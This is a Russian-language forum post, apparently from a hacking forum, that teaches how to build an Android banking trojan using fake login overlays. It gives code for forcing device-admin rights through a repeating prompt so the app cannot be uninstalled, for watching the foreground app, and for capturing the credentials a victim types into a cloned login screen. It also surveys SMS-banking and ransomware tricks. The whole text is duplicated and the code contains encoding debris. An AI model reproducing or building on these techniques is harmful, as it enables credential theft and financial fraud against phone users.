в данном очерке непосредственно будет рассматриваться платформа андроид- как самая распространенная на рынке мобильных гаджетов.Да и к тому же открытость операционной системы очень интересна для этого дела.Да и согласитесь что пользователи довольно активно доверяют данным коробочкам с экранами и микросхемами все свои дела)
вспомним что делали разного рода вирусы и кони на платформе windows, я имею ввиду как они приносили деньги своим создателям? как правило это были разные методы: от краж паролей (кейлоггеры) до наглого шифрования данных на ПК и соответсвенно вымогательством денег за расшифровку.
на андроиде все немного сложнее. Да можно и так же вымогать с помощью шифрования как это делалось на windows, но грубость этого метода мы рассматривать не будем хотя и оно имеет место быть)шантажируют обычно фотографиями или документами.
так же у меня получилось в качестве эксперимента воссздать что то по типу winlock только для андроид- метод все тот же, заплатите а то мобилка работать не будет)
но как по мне куда намного проще и красивее делать все тихонько, незаметно.
увы в гаджетах на андроид редко бывает физическая клавиатура, перехватывать нажатия не как. возможно это делают по координатам дисплея или что то в этом роде-однако данный метод не совсем эффективен- у всех разные разрешения, у всех стоят разные клавиатуры, метод довольно не точный.
Как еще один метод- это смс банкинг.Очень распространено среди создателей андроид троянов, не сложен в реализации, тих и прост.
попав на смартфон троянец выясняет в региональных настройках место обитания его хозяина, либо установленные программы на устройстве и на основе данной информации посылает специальные смс для работы с средствами владельца.ответные смс троянец перехватывает, то есть в смартфоне происходит целая операция «буря в пустыне» а для вас все выглядит как обычно- но денег вы уже лишились.
путь решения данного рода проблемы- иметь второй телефон, по типу нокиа 1100 для другого канала подтверждения по смс, но это не удобно, у всех все всегда в одном смартфоне.
однако хочу рассказать о самом подлом и в то же время безпалевным методом кражи банковских(да и любых других данных) с помощью телефона, а так же точным.
Отсюда хочу предупредить- я не буду выкладывать полностью сорсы, а приведу некоторые куски кода, продемонстрирую на фото и видео принципы работы данных программ, ввиду того что бы не быть ответственным что кто то использует это в черных делах.
язык программирования для андроид- java.
среда разработки- я пользуюсь android studio
эмулятор- я пользуюсь genymotion.
так же хочу сказать, что от версии к версии андроид притерпевает изменения, кое где приходится вносить правки.
писать и тестировать мы будем на 4 андроиде- самом распространенном на данный момент андроиде из всех.
итак в чем же принцип работы описуемого мной метода- это так называемые инъекции.
смысл метода в том, что вредонос запрограммирован на перехват процессов каких либо приложений которые он будет атаковать,
и при работе с данным приложением подставляет его ТОЧНЕЙШУЮ копию вместо оригинала.
при вводе данных авторизации и т.п.- данные улетучиваются вам, и вы полный хозяин аккаунтов)
есть два варианта- пишется html- php интерфейс который будет подгружаться с сервера злоумышленника (либо впихнут в ресурсы) либо это будет встроенное активити( активити на андроиде это компонент который грубо говоря как окно в windows)
итак этапы работы:
1)при установке захватить права
2)запустить сервис который будет анализировать когда запущено то или иное приложение
3)подмена активити приложения на свое
4)кража
Итак что бы запросить права нужно написать специальный xml файл, код которого можно взять в руководству к АПИ.
(вообще в руководстве можно найти 99% информации, ибо это АПИ,а что не АПИ то пишется все точно так же как и на любом другом языке программирования)
выглядит данный код таким образом:
<device-admin xmlns:android="Для просмотра ссылки Войдиили Зарегистрируйся.Для просмотра ссылки Войди или Зарегистрируйся >
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>
как его подключить:
в этой папке жмем правой кнопкой- new xml file
далее этот файл нужно подключить в манифесте,
в манифесте в .MainActivity добавляем следующий код
androidermission="android.permission.BIND_DEVICE_ADMIN">
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/device_admin_sample" />
EN-US"><intent-filter androidriority="999" >
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
но! запросить админа было бы сильно просто)
наша поделка будет запрашивать админа до тех пор, пока юзер не нажмет дать права)
.onActivityResult(requestCode, resultCode,intent data);
if(requestCode != Integer.MAX_VALUE){
if(requestCode != 0){
EN-US">if(resultCode != Integer.MIN_VALUE){
if(requestCode != 0){
if(resultCode == Activity.RESULT_OK){
finish();
Intent as = new Intent(this, MainActivity.class);
startActivity(as);
} else {
setDeviceAdmin();
получаем цикл который будет задрачивать нашего пользователя нажать кнопку да!)
работает это дело следующим образом:
зачем нужен админ?- все просто, получив админа мы можем запретить удалить наше приложение, если его вычислят.
к тому же права- расширяют наш функционал.
2) анализ процессов.
тут я не стал сизифов труд делать и писать, а взял библиотеку foregroundappchecker которую можно найти на github.
здесь я опишу процесс таким образом:
AppChecker appChecker = new AppChecker();
appChecker
.when("com.skype", new AppChecker.Listener() {
@Override
public void onForeground(String packageName) {
// пишем что будет происходить в случае запуска скайпа, а именно будет запускаться наш активити
}
)
)
.timeout(1000) // выставляем таймер следить каждую секунду)
.start();
3) при запуске приложения- вылетает наше активити
наше активити- это в точности скопированное активити с программы откуда похищаются данные, возможно даже подделать теже действия на кнопки и тд.
но – есть поле логин и пароль:
они то у нас и есть фейковые, ничего не подозревающий юзер вводит туда свои данные, и мы их забираем себе в текстовый файлик либо передаем в админку)
public void Stealdata(View v) {
try {
FileOutputStream fileout=openFileOutput("file.txt", MODE_PRIVATE);
OutputStreamWriter outputWriter=new OutputStreamWriter(fileout);
outputWriter.write(edittext.getText().toString()); outputWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
}
вот и все, тут же тоже наглядный пример как это работает:
4) ДАННЫЕ у нас)
небольшое отступление: что не было указано в статье:
я не хотел что бы это было мануалом к написанию или копированию вредоносного обеспечения , по этому я не стал рассматривать стандартные вещи в программирование андроид
как то написание сервиса, который будет висеть в кешэ все время.
как то верстка активити- дизайнерское дело.
как то взаимодействие с элементами пользовательского интерфейса( хотя в 3-м пункте это частично затронуто)
какие эти элементы бывают, их функции и так далее потому что в одну статью этого не вместить, кто немного шарит в программинге под андроид (я и сам его недавно изучаю) тот поймет все аспекты в целом, кто не шарит- посмотрит до чего технологии дошли!)
вот и всё
вспомним что делали разного рода вирусы и кони на платформе windows, я имею ввиду как они приносили деньги своим создателям? как правило это были разные методы: от краж паролей (кейлоггеры) до наглого шифрования данных на ПК и соответсвенно вымогательством денег за расшифровку.
на андроиде все немного сложнее. Да можно и так же вымогать с помощью шифрования как это делалось на windows, но грубость этого метода мы рассматривать не будем хотя и оно имеет место быть)шантажируют обычно фотографиями или документами.
так же у меня получилось в качестве эксперимента воссздать что то по типу winlock только для андроид- метод все тот же, заплатите а то мобилка работать не будет)
но как по мне куда намного проще и красивее делать все тихонько, незаметно.
увы в гаджетах на андроид редко бывает физическая клавиатура, перехватывать нажатия не как. возможно это делают по координатам дисплея или что то в этом роде-однако данный метод не совсем эффективен- у всех разные разрешения, у всех стоят разные клавиатуры, метод довольно не точный.
Как еще один метод- это смс банкинг.Очень распространено среди создателей андроид троянов, не сложен в реализации, тих и прост.
попав на смартфон троянец выясняет в региональных настройках место обитания его хозяина, либо установленные программы на устройстве и на основе данной информации посылает специальные смс для работы с средствами владельца.ответные смс троянец перехватывает, то есть в смартфоне происходит целая операция «буря в пустыне» а для вас все выглядит как обычно- но денег вы уже лишились.
путь решения данного рода проблемы- иметь второй телефон, по типу нокиа 1100 для другого канала подтверждения по смс, но это не удобно, у всех все всегда в одном смартфоне.
однако хочу рассказать о самом подлом и в то же время безпалевным методом кражи банковских(да и любых других данных) с помощью телефона, а так же точным.
Отсюда хочу предупредить- я не буду выкладывать полностью сорсы, а приведу некоторые куски кода, продемонстрирую на фото и видео принципы работы данных программ, ввиду того что бы не быть ответственным что кто то использует это в черных делах.
язык программирования для андроид- java.
среда разработки- я пользуюсь android studio
эмулятор- я пользуюсь genymotion.
так же хочу сказать, что от версии к версии андроид притерпевает изменения, кое где приходится вносить правки.
писать и тестировать мы будем на 4 андроиде- самом распространенном на данный момент андроиде из всех.
итак в чем же принцип работы описуемого мной метода- это так называемые инъекции.
смысл метода в том, что вредонос запрограммирован на перехват процессов каких либо приложений которые он будет атаковать,
и при работе с данным приложением подставляет его ТОЧНЕЙШУЮ копию вместо оригинала.
при вводе данных авторизации и т.п.- данные улетучиваются вам, и вы полный хозяин аккаунтов)
есть два варианта- пишется html- php интерфейс который будет подгружаться с сервера злоумышленника (либо впихнут в ресурсы) либо это будет встроенное активити( активити на андроиде это компонент который грубо говоря как окно в windows)
итак этапы работы:
1)при установке захватить права
2)запустить сервис который будет анализировать когда запущено то или иное приложение
3)подмена активити приложения на свое
4)кража
Итак что бы запросить права нужно написать специальный xml файл, код которого можно взять в руководству к АПИ.
(вообще в руководстве можно найти 99% информации, ибо это АПИ,а что не АПИ то пишется все точно так же как и на любом другом языке программирования)
выглядит данный код таким образом:
<device-admin xmlns:android="Для просмотра ссылки Войди
<uses-policies>
<limit-password />
<watch-login />
<reset-password />
<force-lock />
<wipe-data />
</uses-policies>
</device-admin>
как его подключить:
в этой папке жмем правой кнопкой- new xml file
далее этот файл нужно подключить в манифесте,
в манифесте в .MainActivity добавляем следующий код
androidermission="android.permission.BIND_DEVICE_ADMIN">
<meta-data
android:name="android.app.device_admin"
android:resource="@xml/device_admin_sample" />
EN-US"><intent-filter androidriority="999" >
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
но! запросить админа было бы сильно просто)
наша поделка будет запрашивать админа до тех пор, пока юзер не нажмет дать права)
.onActivityResult(requestCode, resultCode,intent data);
if(requestCode != Integer.MAX_VALUE){
if(requestCode != 0){
EN-US">if(resultCode != Integer.MIN_VALUE){
if(requestCode != 0){
if(resultCode == Activity.RESULT_OK){
finish();
Intent as = new Intent(this, MainActivity.class);
startActivity(as);
} else {
setDeviceAdmin();
получаем цикл который будет задрачивать нашего пользователя нажать кнопку да!)
работает это дело следующим образом:
зачем нужен админ?- все просто, получив админа мы можем запретить удалить наше приложение, если его вычислят.
к тому же права- расширяют наш функционал.
2) анализ процессов.
тут я не стал сизифов труд делать и писать, а взял библиотеку foregroundappchecker которую можно найти на github.
здесь я опишу процесс таким образом:
AppChecker appChecker = new AppChecker();
appChecker
.when("com.skype", new AppChecker.Listener() {
@Override
public void onForeground(String packageName) {
// пишем что будет происходить в случае запуска скайпа, а именно будет запускаться наш активити
}
)
)
.timeout(1000) // выставляем таймер следить каждую секунду)
.start();
3) при запуске приложения- вылетает наше активити
наше активити- это в точности скопированное активити с программы откуда похищаются данные, возможно даже подделать теже действия на кнопки и тд.
но – есть поле логин и пароль:
они то у нас и есть фейковые, ничего не подозревающий юзер вводит туда свои данные, и мы их забираем себе в текстовый файлик либо передаем в админку)
public void Stealdata(View v) {
try {
FileOutputStream fileout=openFileOutput("file.txt", MODE_PRIVATE);
OutputStreamWriter outputWriter=new OutputStreamWriter(fileout);
outputWriter.write(edittext.getText().toString()); outputWriter.close();
} catch (Exception e) {
e.printStackTrace();
}
}
вот и все, тут же тоже наглядный пример как это работает:
4) ДАННЫЕ у нас)
небольшое отступление: что не было указано в статье:
я не хотел что бы это было мануалом к написанию или копированию вредоносного обеспечения , по этому я не стал рассматривать стандартные вещи в программирование андроид
как то написание сервиса, который будет висеть в кешэ все время.
как то верстка активити- дизайнерское дело.
как то взаимодействие с элементами пользовательского интерфейса( хотя в 3-м пункте это частично затронуто)
какие эти элементы бывают, их функции и так далее потому что в одну статью этого не вместить, кто немного шарит в программинге под андроид (я и сам его недавно изучаю) тот поймет все аспекты в целом, кто не шарит- посмотрит до чего технологии дошли!)
вот и всё
Последнее редактирование: